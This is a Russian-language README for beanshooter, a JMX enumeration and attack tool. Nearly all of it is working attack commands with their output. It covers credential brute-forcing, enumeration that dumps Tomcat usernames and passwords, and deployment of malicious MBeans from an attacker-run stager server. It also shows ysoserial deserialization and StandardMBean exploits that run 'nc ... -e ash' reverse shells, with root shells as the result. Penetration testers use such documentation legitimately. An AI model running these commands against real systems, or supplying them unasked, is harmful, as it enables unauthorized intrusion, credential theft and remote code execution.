
Инструмент для перечисления и атаки на JMX.
beanshooter — это инструмент для перечисления и атаки JMX, который помогает выявлять распространенные уязвимости на конечных точках JMX.
beanshooter — это проект maven, и установка должна быть простой. При установленном maven просто выполните следующие команды, чтобы создать исполняемый .jar файл:```console
[qtc@devbox ~]$ git clone https://github.com/qtc-de/beanshooter
[qtc@devbox ~]$ cd beanshooter
[qtc@devbox ~]$ mvn package
Вы также можете использовать предварительно собранные пакеты, которые создаются для [каждого релиза](https://github.com/qtc-de/beanshooter/releases).
Предварительно собранные пакеты для ветки разработки создаются автоматически и доступны на *GitHub* [странице действий](https://github.com/qtc-de/beanshooter/actions).
Также предварительно собранный Docker-образ для запуска *beanshooter* [доступен](#docker-image).
*beanshooter* не включает *ysoserial* в качестве зависимости. Чтобы включить поддержку *ysoserial*, вам нужно либо указать путь к вашему файлу ``ysoserial.jar`` в качестве дополнительного аргумента (например, ``--yso /opt/ysoserial.jar``), либо изменить путь по умолчанию в [файле конфигурации beanshooter](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/config.properties) перед сборкой проекта.
*beanshooter* поддерживает автодополнение для *bash*. Чтобы воспользоваться автодополнением, вам необходимо установить проект [completion-helpers](https://github.com/qtc-de/completion-helpers). Если все настроено правильно, достаточно скопировать [скрипт автодополнения](https://github.com/qtc-de/beanshooter/blob/HEAD/resources/bash_completion.d/beanshooter) в вашу папку ``~/.bash_completion.d``, чтобы включить автодополнение.```console
[qtc@devbox ~]$ cp resources/bash_completion.d/beanshooter ~/bash_completion.d/
Различные операции beanshooter можно разделить на две группы: базовые операции и MBean операции. В то время как базовые операции используются для выполнения общих операций на конечной точке JMX, MBean операции нацелены на взаимодействие с конкретным MBean. Для получения более подробной информации ознакомьтесь с примерами использования в следующих разделах.```console [qtc@devbox ~]$ beanshooter -h usage: beanshooter [-h] ...
beanshooter v3.0.0 - a JMX enumeration and attacking tool
positional arguments:
Basic Operations attr set or get MBean attributes brute bruteforce JMX credentials deploy deploys the specified MBean on the JMX server enum enumerate the JMX service for common vulnerabilities info display method and attribute information on an MBean invoke invoke the specified method on the specified MBean list list available MBEans on the remote MBean server serial perform a deserialization attack stager start a stager server to deliver MBeans undeploy undeploys the specified MBEAN from the JMX server
MBean Operations diagnostic Diagnostic Command MBean hotspot HotSpot Diagnostic MBean mlet default JMX bean that can be used to load additional beans dynamically recorder jfr Flight Recorder MBean tomcat tomcat MemoryUserDatabaseMBean used for user management tonka general purpose bean for executing commands and uploading or download files
named arguments: -h, --help show this help message and exit
### Базовые операции
---
Базовые операции — это операции общего назначения, которые можно выполнять с помощью службы JMX. Обычно это
операции, которые не нацелены на конкретный MBean или нацелены на MBean без встроенной поддержки со стороны beanshooter.
#### Attr
Действие `attr` можно использовать для получения или установки атрибутов на указанном *MBean*. Чтобы получить доступные атрибуты,
следует использовать действие `info`:```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010
...
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+] Attributes:
[+] Verbose (type: boolean , writable: true)
[+] ObjectPendingFinalizationCount (type: int , writable: false)
[+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+] Operations:
[+] void gc()
Когда указано только имя атрибута, beanshooter получает и отображает текущее значение атрибута:```console [qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose false
Когда указано дополнительное значение, *beanshooter* пытается установить соответствующий атрибут. Для атрибутов, тип которых отличается от *String*, требуется указать тип атрибута с помощью опции `--type`:```console
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose
true
Действие brute выполняет атаку методом перебора (bruteforce) на защищенный паролем сервис JMX. При запуске без дополнительных
необязательных аргументов beanshooter использует встроенный список слов с несколькими распространенными комбинациями имя пользователя-пароль. Для более
целенаправленных атак следует использовать опции --username-file и --password-file, чтобы указать более полные списки слов.```console
[qtc@devbox ~]$ beanshooter brute 172.17.0.2 1090
[+] Reading wordlists for the brute action.
[+] Reading credentials from internal wordlist.
[+]
[+] Starting bruteforce attack with 10 credentials.
[+]
[+] Found valid credentials: admin:admin
[+] [10 / 10] [########################################] 100%
[+]
[+] done.
#### Развертывание
Действие `deploy` может быть использовано для развертывания *MBean* на службе *JMX*. Это действие **не должно** использоваться для развертывания *MBean* с поддержкой по умолчанию, например *TonkaBean*. Развертывание *MBean* с поддержкой по умолчанию должно выполняться с помощью соответствующих [операций MBean](#mbean-operations).
Когда *MBean*, который вы хотите развернуть, уже известен службе *JMX*, достаточно указать имя класса реализующего
*MBean* класса и желаемый `ObjectName`:```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 javax.management.monitor.StringMonitor qtc.test:type=Monitor
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: StringMonitor
[+] MBean with object name qtc.test:type=Monitor was successfully deployed.
Когда класс MBean не известен службе JMX, вы можете использовать опции --jar-file и --stager-url для предоставления реализации:```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: ExampleBean
[+]
[+] MBean class is not known to the server.
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: non.existing.example.ExampleBean
[+] Archive: c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Object: qtc.test:type=Example
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Sending jar file with md5sum: c4d8f40d1c1ac7f3cf7582092802a484
[+]
[+] MBean with object name qtc.test:type=Example was successfully deployed.
#### Enum
Действие `enum` перечисляет некоторые детали конфигурации на конечной точке *JMX*. Оно всегда проверяет, требует ли конечная точка *JMX* аутентификации и допускает ли она предварительно аутентифицированную произвольную десериализацию.```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] - Remote MBean server requires authentication.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - Remote MBeanServer accepted the payload class.
[+] Configuration Status: Non Default
Когда аутентификация не требуется или были указаны действительные учетные данные, действие enum также пытается получить некоторую дополнительную информацию из конечной точки JMX. Сюда входит список нестандартных MBeans и, например, учетных записей пользователей, зарегистрированных на сервере Apache tomcat:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] - Remote MBean server does not require authentication.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - Remote MBeanServer rejected the payload class.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] - 57 MBeans are currently registred on the MBean server.
[+] Listing 39 non default MBeans:
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=AccessLogValve)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=GlobalRequestProcessor,name="http-nio-8080")
[...]
[+]
[+] Enumerating tomcat users:
[+]
[+] - Listing 3 tomcat users:
[+]
[+] ----------------------------------------
[+] Username: manager
[+] Password: P@55w0rD#
[+] Roles:
[+] Users:type=Role,rolename="manager-gui",database=UserDatabase
[+] Users:type=Role,rolename="manager-script",database=UserDatabase
[+] Users:type=Role,rolename="manager-jmx",database=UserDatabase
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: admin
[+] Password: s3cr3T!$
[+] Roles:
[+] Users:type=Role,rolename="admin-gui",database=UserDatabase
[+] Users:type=Role,rolename="admin-script",database=UserDatabase
[...]
При вызове действия `enum` на конечной точке, защищенной *SASL*, *beanshooter* пытается перечислить профиль *SASL*, настроенный для сервера. Это возможно лишь в определенной степени, и конфигурация *TLS* сервера не может быть перечислена. Если профиль *SASL*, идентифицированный *beanshooter*, не работает, всегда следует повторить попытку с/без опции `--ssl`:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4447 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server uses SASL/DIGEST-MD5 SASL profile.
[+] Credentials are requried and the following hostname must be used: iinsecure.example
[+] Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] Vulnerability Status: Non Vulnerable
...
Действие info можно использовать для получения информации о методах и атрибутах MBeans, доступных на MBean server.
При вызове без дополнительных аргументов выводится информация о методах и атрибутах всех доступных MBeans. Если указать
дополнительный ObjectName, выводится информация только о методах и атрибутах указанного MBean:```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010 java.lang:type=Memory
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+] Attributes:
[+] Verbose (type: boolean , writable: true)
[+] ObjectPendingFinalizationCount (type: int , writable: false)
[+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+] Operations:
[+] void gc()
#### Вызов
Действие `invoke` можно использовать для вызова произвольного метода на *MBean*, который уже развернут на конечной точке *JMX*.
Помимо конечной точки, действие `invoke` требует `ObjectName` целевого *MBean* и сигнатуру метода, который вы
хотите вызвать. Если указанный метод ожидает аргументы, они также должны быть указаны. Следующий листинг показывает пример
вызова метода без аргументов, где вызывается метод `vmVersion()` из *MBean* `DiagnosticCommand`:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'
OpenJDK 64-Bit Server VM version 11.0.14.1+1
JDK 11.0.14.1
При вызове метода, требующего параметры, указанные аргументы beanshooter оцениваются как Java-код. Простые типы аргументов, такие как целые числа или строки, можно просто передать, указав их соответствующее значение. Сложные типы аргументов можно создать, как это делается в Java (например, 'new java.util.HashMap()'). Следующий листинг показывает пример, где метод help(String[] args) вызывается на MBean DiagnosticCommand:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'help(String[] args)' 'new String[] { "Compiler.directives_add" }'
Compiler.directives_add
Add compiler directives from file.
Impact: Low
Permission: java.lang.management.ManagementPermission(monitor)
Syntax : Compiler.directives_add
Arguments: filename : Name of the directives file (STRING, no default value)
Для более сложных типов аргументов, требующих некоторой инициализации, вы можете использовать *beanshooters PluginSystem* и определить пользовательский класс, реализующий [интерфейс IArgumentProvider](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java).
#### Jolokia
Как описано в [документации Jolokia](https://github.com/qtc-de/beanshooter/blob/HEAD/docs/jolokia.md) *beanshooters*, почти все действия *beanshooter* могут использоваться вместе с флагом `--jolokia` для нацеливания на конечные точки *JMX*, основанные на *Jolokia*. Помимо этой общей поддержки адаптера *Jolokia JMX*, *beanshooter* поддерживает одно выделенное действие `jolokia`. Это действие может использоваться для принудительного исходящего соединения агента *Jolokia*, работающего в режиме прокси:```console
[qtc@devbox ~]$ beanshooter jolokia 172.17.0.2 8080 172.17.0.1 4444 --username manager --password admin --ldap
[+] Attempting to trigger outboud connection to 172.17.0.1:4444
[+] Using proxy service URL: service:jmx:Rmi:///jndi/ldap://172.17.0.1:4444/beanshooter
...
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:60052.
0
Тот же результат можно получить, вызвав обычную операцию beanshooter, например list, и используя опцию --jolokia-proxy service:jmx:.... Действие jolokia было добавлено как сокращение, чтобы вам не нужно было запоминать синтаксис JNDI. При использовании действия jolokia опция --jolokia предполагается по умолчанию.
Действие list выводит список всех зарегистрированных MBeans на удаленном сервисе JMX:```console
[qtc@devbox ~]$ beanshooter list 172.17.0.2 9010
[+] Available MBeans:
[+]
[+] - sun.management.MemoryManagerImpl (java.lang:name=Metaspace Manager,type=MemoryManager)
[+] - sun.management.MemoryPoolImpl (java.lang:name=Metaspace,type=MemoryPool)
[+] - javax.management.MBeanServerDelegate (JMImplementation:type=MBeanServerDelegate)
[...]
#### Model
Действие `model` является одной из самых мощных операций *beanshooter* и реализует технику,
обнаруженную [Маркусом Вульфтангом](https://twitter.com/mwulftange), которая позволяет вызывать произвольные
*публичные* и *статические* Java-методы. Более того, *публичные* методы объектов также могут вызываться на
созданном пользователем экземпляре объекта. Единственным требованием является то, что используемые аргументы метода и предоставленный экземпляр объекта (для *нестатических* методов) должны быть сериализуемыми.
В следующем листинге показан пример использования, где объект `File` предоставляется в качестве экземпляра объекта
и операция `String[] list()` вызывается на нём:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
[+] Deploying RequiredModelMBean supporting methods from java.io.File
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - java.lang.String toString()
[+] - int hashCode()
[+] - [Ljava.lang.String; list()
[...]
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: new java.io.File("/")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
root
var
opt
srv
bin
mnt
dev
proc
etc
usr
lib
tmp
home
run
media
sbin
sys
.dockerenv
Метод setManagedResource всегда доступен и может использоваться для изменения экземпляра объекта, с которым нужно работать:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference
[+] Call was successful.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
passwd
shells
opt
modules
mtab
issue
inittab
hosts
...
При вызове *статических* методов также требуется экземпляр объекта. Однако фактический класс экземпляра объекта не
имеет значения. Например, если вы хотите вызвать `getProperties()` из `java.lang.System`, вы также можете использовать простую `String`
в качестве экземпляра объекта. В данном случае имеет значение только указанное имя класса:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"'
[+] Deploying RequiredModelMBean supporting methods from java.lang.System
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - void runFinalization()
[+] - java.lang.String setProperty(java.lang.String, java.lang.String)
[+] - java.lang.String getProperty(java.lang.String)
[+] - java.lang.String getProperty(java.lang.String, java.lang.String)
[+] - long currentTimeMillis()
[+] - long nanoTime()
[+] - java.lang.SecurityManager getSecurityManager()
[+] - void loadLibrary(java.lang.String)
[+] - java.lang.String mapLibraryName(java.lang.String)
[+] - void load(java.lang.String)
[+] - java.lang.String lineSeparator()
[+] - java.io.Console console()
[+] - java.nio.channels.Channel inheritedChannel()
[+] - java.util.Properties getProperties()
[+] - void setProperties(java.util.Properties)
[+] - java.lang.String clearProperty(java.lang.String)
[+] - java.util.Map getenv()
[+] - java.lang.String getenv(java.lang.String)
[+] - void gc()
[+] - void wait()
[+] - java.lang.String toString()
[+] - int hashCode()
[+] - java.lang.Class getClass()
[+] - void notify()
[+] - void notifyAll()
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: "does not matter"
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()'
java.vm.info
--> mixed mode
java.runtime.version
--> 11.0.18+10-alpine-r0
sun.io.unicode.encoding
--> UnicodeLittle
...
Действие model использует рефлексию для определения доступных методов указанного класса. Если у вас нет локально доступного класса, вы все равно можете использовать его, указав доступные методы через опции --signature или --signature-file. Тем не менее, для получения доступа к нестандартным классам вам необходимо предоставить экземпляр объекта, который также не является классом по умолчанию (не присутствует в rt.jar). Это необходимо, так как целевой класс должен быть загружен тем же ClassLoader, что и предоставленный экземпляр объекта. Для beanshooters example-server подходит javax.management.remote.message.VersionMessage, так как этот класс присутствует в opendmk_jmxremote_optional_jar, который есть как в клиенте, так и в сервере. Мы можем использовать его как экземпляр объекта для вызова методов других пользовательских классов, например de.qtc.beanshooter.server.utils.Logger:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=0 de.qtc.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage("test")' --signature 'String getIndent()'
[+] Deploying RequiredModelMBean supporting user specified methods
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=0 was successfully deployed.
[+]
[+] Available Methods:
[+] - String getIndent()
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: new javax.management.remote.message.VersionMessage("test")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=0 --signature 'String getIndent()'
EMPTY OUTPUT - Just an Indent ;)
Если вы хотите узнать больше о технике, реализованной действием `model`, я настоятельно рекомендую этот [пост в блоге](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html) от [CODE WHITE](https://twitter.com/codewhitesec), в котором это подробно объясняется.
#### Serial
Действие `serial` может использоваться для выполнения атак десериализации на конечную точку *JMX*. По умолчанию действие пытается выполнить атаки десериализации после аутентификации. Для этого целевой сервис *JMX* должен либо разрешать неаутентифицированный доступ, либо у вас должны быть действительные учетные данные:```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] Creating ysoserial payload... done.
[+] MBeanServer attempted to deserialize the DeserializationCanary class.
[+] Deserialization attack was probably successful.
[qtc@devbox ~]$ nc -vlp 4444
[...]
id
uid=0(root) gid=0(root) groups=0(root)
Службы JMX также могут быть уязвимы для атак десериализации без предварительной аутентификации. Чтобы воспользоваться этим, вы можете использовать переключатель --preauth:```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] Creating ysoserial payload... done.
[+] MBeanServer attempted to deserialize the DeserializationCanary class.
[+] Deserialization attack was probably successful.
[qtc@devbox ~]$ nc -vlp 4444 [...] id uid=0(root) gid=0(root) groups=0(root)
Для конечных точек *JMXMP* обычно возможна десериализация без предварительной аутентификации. К сожалению, нет способа правильно перечислить это во время действия `enum`. Если вы столкнулись с конечной точкой *JMXMP*, просто попробуйте.
#### Stager
Действие `stager` запускает сервер stager, который можно использовать для доставки *MBeans*. Создание сервера stager для доставки *MBean* обычно выполняется автоматически при использовании действия `deploy` в *beanshooters*. Однако иногда требуется использовать отдельный сервер. При использовании действия `stager` вы можете указать имя встроенного *MBean* для доставки (например, `tonka`) или ключевое слово `custom`. Если указано `custom`, требуются опции `--class-name`, `--object-name` и `--jar-file`.```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8888 --no-stager
[qtc@devbox ~]$ beanshooter stager 172.17.0.1 8888 tonka
[+] Creating HTTP server on: 172.17.0.1:8888
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /93691b8bae4143f087f7a3123641b20d
[+] Starting HTTP server.
[+]
[+] Press Enter to stop listening.
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 93691b8bae4143f087f7a3123641b20d
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8888
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /93691b8bae4143f087f7a3123641b20d
[+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128a
Действие standard развертывает StandardMBean, который реализует класс TemplateImpl для достижения различных целей. Эта техника была выявлена Маркусом Вульфтангом, и beanshooter реализует её для выполнения команд, загрузки файлов и развертывания TonkaBean.```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=3873612041699 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=3873612041699 from the MBeanServer.
[+] MBean was successfully removed.
...
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:40033.
id
uid=0(root) gid=0(root) groups=0(root)
Выполнение команды через действие `standard` слепое, и вы не получаете вывод вашей команды.
Более того, по умолчанию ваша команда передается в `Runtime.exec(String str)`, который не поддерживает специальные
функции оболочки. Если вы хотите использовать функции оболочки, используйте опцию `--exec-array` и укажите вашу команду
так: `'sh -c echo "my cool command" > /tmp/test.txt'`. С `--exec-array`, *beanshooter* разбивает
указанную команду на три части и передает их в `Runtime.exec(String[] arr)`. Однако, как правило,
рекомендуется использовать развертывание *TonkaBean* для выполнения команд:```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
Огромное преимущество по сравнению с обычным действием tonka deploy заключается в том, что развертывание через StandardMBean не требует исходящего сетевого соединения. Если прямое развертывание через standard ... tonka не работает, вы можете загрузить Jar-файл TonkaBean и загрузить его через MLet и протокол file://:```console
[qtc@devbox ~]$ beanshooter tonka export --stager-url file:///tmp/
[+] Exporting MBean jar file: ./tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: ./index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:/tmp/
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar::/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4825542879735 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html::/tmp/index.html
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4836961801045 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4836961801045 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url file:///tmp/index.html
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: TonkaBean
[+]
[+] MBean class is not known by the server.
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from file:///tmp/index.html
[+]
[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed.
Если вы хотите узнать больше о технике, реализованной действием `standard`, я настоятельно рекомендую эту [запись в блоге](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html) от [CODE WHITE](https://twitter.com/codewhitesec), в которой это подробно объясняется.
#### Удаление
Действие `undeploy` удаляет *MBean* с указанным `ObjectName` из службы *JMX*:```console
[qtc@devbox ~]$ beanshooter undeploy 172.17.0.2 9010 qtc.test:type=Example
[+] Removing MBean with ObjectName qtc.test:type=Example from the MBeanServer.
[+] MBean was successfully removed.
В отличие от базовых операций, которые нацелены на общую функциональность, предоставляемую JMX-конечной точкой, операции MBean нацелены на конкретный MBean. Для каждого поддерживаемого MBean, beanshooter предоставляет отдельный подпарсер, содержащий доступные операции и опции для соответствующего MBean. В следующем листинге показан пример для MBean mlet и связанного с ним подпарсера:```console
[qtc@devbox ~]$ beanshooter mlet -h
usage: beanshooter mlet [-h] ...
positional arguments:
load load a new MBean from the specified URL
attr set or get MBean attributes
deploy deploys the specified MBean on the JMX server
info print server information about the MBean
invoke invoke the specified method on the MBean
stats print local information about the MBean
status checks whether the MBean is registered
undeploy undeploys the specified MBEAN from the JMX server
named arguments: -h, --help show this help message and exit
### Общие операции MBean
---
Некоторые операции *beanshooter* доступны для каждого *MBean* и показаны в этом разделе.
Эти общие операции *MBean* часто отражают функциональность [базовых операций](#basic-operations), но без необходимости указывать *ObjectName*.
#### Общий атрибут
Действие `attr` работает так же, как действие `attr` из базовых операций. Однако *ObjectName* больше не нужно указывать, так как он содержится в указанном *MBean*.```console
[qtc@devbox ~]$ beanshooter tomcat attr 172.17.0.2 1090 users
Users:type=User,username="manager",database=UserDatabase
Users:type=User,username="admin",database=UserDatabase
Users:type=User,username="status",database=UserDatabase
Действие deploy работает в основном так же, как действие deploy из базовых операций.
Однако, поскольку имя класса, ObjectName и реализующий jar-файл уже связаны с указанным MBean, вам нужно указать только опцию --stager-url с этим действием (при условии, что доступен встроенный jar-файл):```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: TonkaBean
[+]
[+] MBean class is not known to the server.
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /440441bf8c794d40a83caf1e34cd9993
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 440441bf8c794d40a83caf1e34cd9993
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /440441bf8c794d40a83caf1e34cd9993
[+] Sending jar file with md5sum: 55a843002e13f763137d115ce4caf705
[+]
[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed
С *beanshooter v4.1.0* также стало возможным развертывание *TonkaBean* с помощью действия [standard](#standard).
Развертывание bean с помощью действия `standard` **не требует** исходящих сетевых соединений с целевого сервера.
#### Общий экспорт
Иногда невозможно обслуживать реализацию *MBean* с помощью сервера-стейджера *beanshooter*. Частый
сценарий — когда исходящие соединения до вашей локальной машины заблокированы. В таких ситуациях вы можете захотеть
загрузить *MBean* из другого места, например, из *SMB* службы во внутренней сети, к которой у вас есть доступ
на запись.
Действие `export` экспортирует *jar* файл, реализующий указанный *MBean*, и соответствующий *MLet HTML*
документ, необходимый для загрузки *MBean* с помощью *MLet*. Предположим, вы хотите обслуживать *TonkaBean*
из *SMB* службы, прослушивающей на `10.10.10.5`, вы могли бы использовать следующую команду:```console
[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/
[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: export/index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:////10.10.10.5/share/
После этого вы можете загрузить экспортированный jar и файл index.html в службу SMB и использовать действие развертывания beanshooters с опцией --stager-url file:////10.10.10.5/share/index.html.
